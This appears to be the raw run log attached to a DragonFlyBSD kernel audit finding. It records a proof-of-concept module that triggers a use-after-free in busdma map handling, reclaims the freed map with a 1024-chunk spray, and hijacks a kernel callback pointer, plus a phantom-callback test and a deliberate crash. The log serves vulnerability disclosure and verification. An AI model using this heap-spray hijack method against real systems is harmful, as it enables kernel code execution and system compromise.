⬢ DragonFlyBSD Kernel Audit
DF-5347 / run.log
← back to finding ↓ download raw
busdmauaf: POC_TEST=1 loaded
BUSDMA-UAF: === TEST 1 (hijack proof) ===
BUSDMA-UAF: tag=0xfffff8008da44e88 (private zone, 1 bpage)
BUSDMA-UAF: mapA=0xfffff8008dac5768 mapB=0xfffff8008dac57b0 (zone now 2 bpages)
BUSDMA-UAF: mapB load -> 0 (both bpages active)
BUSDMA-UAF: mapA load -> 36 (EINPROGRESS=36; mapA queued)
BUSDMA-UAF: bus_dmamap_destroy(queued mapA) -> 0  (0 == FREED WHILE STILL LINKED ON WAITING LIST)
BUSDMA-UAF: spray chunk 0 == freed mapA (reclaimed!)
BUSDMA-UAF: sprayed 1024 fake-map chunks (72B, callback=0xffffffff82600000)
BUSDMA-UAF: fake map written via dangling ref 0xfffff8008dac5768 (reclaimed chunk)
BUSDMA-UAF: bus_dmamap_unload(mapB) frees bpages, waking the FREED map ...
BUSDMA-UAF: *** HIJACK PROVEN *** attacker-chosen function 0xffffffff82600000 executed, arg=0xbaadf00d nsegs=1 error=0
BUSDMA-UAF: RESULT=HIJACKED: kernel called the function pointer 0xffffffff82600000 read from FREED memory (arg=0xbaadf00d)
busdmauaf: test body finished
login: module_register: module busdmauaf already exists!
Module busdmauaf failed to register: 17
busdmauaf: unloaded
busdmauaf: POC_TEST=1 loaded
BUSDMA-UAF: === TEST 1 (hijack proof) ===
BUSDMA-UAF: tag=0xfffff80117b107d0 (private zone, 1 bpage)
BUSDMA-UAF: mapA=0xfffff8008d3a1628 mapB=0xfffff8008d3a1670 (zone now 2 bpages)
BUSDMA-UAF: mapB load -> 0 (both bpages active)
BUSDMA-UAF: mapA load -> 36 (EINPROGRESS=36; mapA queued)
BUSDMA-UAF: bus_dmamap_destroy(queued mapA) -> 0  (0 == FREED WHILE STILL LINKED ON WAITING LIST)
BUSDMA-UAF: spray chunk 0 == freed mapA (reclaimed!)
BUSDMA-UAF: sprayed 1024 fake-map chunks (72B, callback=0xffffffff82600000)
BUSDMA-UAF: fake map written via dangling ref 0xfffff8008d3a1628 (reclaimed chunk)
BUSDMA-UAF: bus_dmamap_unload(mapB) frees bpages, waking the FREED map ...
BUSDMA-UAF: *** HIJACK PROVEN *** attacker-chosen function 0xffffffff82600000 executed, arg=0xbaadf00d nsegs=1 error=0
BUSDMA-UAF: RESULT=HIJACKED: kernel called the function pointer 0xffffffff82600000 read from FREED memory (arg=0xbaadf00d)
busdmauaf: test body finished
busdmauaf: unloaded
busdmauaf: POC_TEST=1 loaded
BUSDMA-UAF: === TEST 1 (hijack proof) ===
BUSDMA-UAF: tag=0xfffff8008bbd6448 (private zone, 1 bpage)
BUSDMA-UAF: mapA=0xfffff8004f1837a0 mapB=0xfffff8004f1837e8 (zone now 2 bpages)
BUSDMA-UAF: mapB load -> 0 (both bpages active)
BUSDMA-UAF: mapA load -> 36 (EINPROGRESS=36; mapA queued)
BUSDMA-UAF: bus_dmamap_destroy(queued mapA) -> 0  (0 == FREED WHILE STILL LINKED ON WAITING LIST)
BUSDMA-UAF: spray chunk 0 == freed mapA (reclaimed!)
BUSDMA-UAF: sprayed 1024 fake-map chunks (72B, callback=0xffffffff82600000)
BUSDMA-UAF: fake map written via dangling ref 0xfffff8004f1837a0 (reclaimed chunk)
BUSDMA-UAF: bus_dmamap_unload(mapB) frees bpages, waking the FREED map ...
BUSDMA-UAF: *** HIJACK PROVEN *** attacker-chosen function 0xffffffff82600000 executed, arg=0xbaadf00d nsegs=1 error=0
BUSDMA-UAF: RESULT=HIJACKED: kernel called the function pointer 0xffffffff82600000 read from FREED memory (arg=0xbaadf00d)
busdmauaf: test body finished
busdmauaf: unloaded
busdmauaf: POC_TEST=2 loaded
BUSDMA-PHANTOM: === TEST 2 (unload does not dequeue) ===
BUSDMA-PHANTOM: mapX load -> 0 (1 bpage active, 1 free)
BUSDMA-PHANTOM: mapY load -> 36 (EINPROGRESS; mapY queued, holds partial reservation of 1 bpage)
BUSDMA-PHANTOM: bus_dmamap_unload(mapY) returned -- map is STILL on the waiting list (no dequeue, no counter reset)
BUSDMA-PHANTOM: bus_dmamap_unload(mapX) frees a bpage -> wakes the UNLOADED mapY ...
BUSDMA-PHANTOM: *** DEFERRED CALLBACK FIRED FOR UNLOADED MAP *** buf=0xd0000002 nsegs=2 error=0 (driver already called bus_dmamap_unload!)
BUSDMA-PHANTOM: RESULT=PHANTOM CONFIRMED: deferred bus_dmamap_load ran on the UNLOADED map and invoked its callback with stale buffer state
BUSDMA-PHANTOM: cleanup done
busdmauaf: test body finished
busdmauaf: unloaded
busdmauaf: POC_TEST=3 loaded
BUSDMA-UAF: === TEST 3 (panic: evil callback ptr 0x414141414000) ===
BUSDMA-UAF: tag=0xfffff80117b10828 (private zone, 1 bpage)
BUSDMA-UAF: mapA=0xfffff8008d3b3670 mapB=0xfffff8008d3b36b8 (zone now 2 bpages)
BUSDMA-UAF: *** HIJACK PROVEN *** attacker-chosen function 0xffffffff82600000 executed, arg=0xb0000001 nsegs=2 error=0
BUSDMA-UAF: mapB load -> 0 (both bpages active)
BUSDMA-UAF: mapA load -> 36 (EINPROGRESS=36; mapA queued)
BUSDMA-UAF: bus_dmamap_destroy(queued mapA) -> 0  (0 == FREED WHILE STILL LINKED ON WAITING LIST)
BUSDMA-UAF: spray chunk 0 == freed mapA (reclaimed!)
BUSDMA-UAF: sprayed 1024 fake-map chunks (72B, callback=0x414141414000)
BUSDMA-UAF: fake map written via dangling ref 0xfffff8008d3b3670 (reclaimed chunk)
BUSDMA-UAF: bus_dmamap_unload(mapB) frees bpages, waking the FREED map ...
BStopped at      0x414141414000: kernel: type 12 trap, code=0